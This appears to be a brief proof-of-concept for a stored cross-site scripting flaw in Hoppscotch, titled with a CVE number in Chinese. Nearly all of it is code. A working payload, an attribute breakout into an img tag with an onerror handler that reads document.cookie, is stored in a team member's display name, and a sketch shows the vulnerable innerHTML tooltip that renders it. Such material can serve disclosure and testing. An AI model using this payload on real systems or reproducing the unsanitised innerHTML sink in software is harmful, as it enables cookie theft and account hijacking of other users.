CVE-2026-34848 Hoppscotch 存储型XSS漏洞

<!-- PoC for CVE-2026-34848 (Stored XSS in Hoppscotch) Description: Injecting malicious script into the 'Display Name' field of a team member profile. --> <script> // Step 1: Attacker updates their profile via API/UI // The payload contains an XSS trigger that executes on hover or load in the tooltip. const xssPayload = '"><img src=x onerror=alert(document.cookie)>'; // Step 2: Simulate storing the payload in the database const userProfile = { username: "attacker", display_name: xssPayload }; console.log("[+] Payload injected into display name:", userProfile.display_name); // Step 3: Victim views the team member list // The application renders the tooltip without sanitization function renderTooltip(displayName) { // Vulnerable rendering logic (simplified) document.getElementById("tooltip").innerHTML = displayName; } // When the victim hovers over the name, the alert triggers // renderTooltip(userProfile.display_name); </script>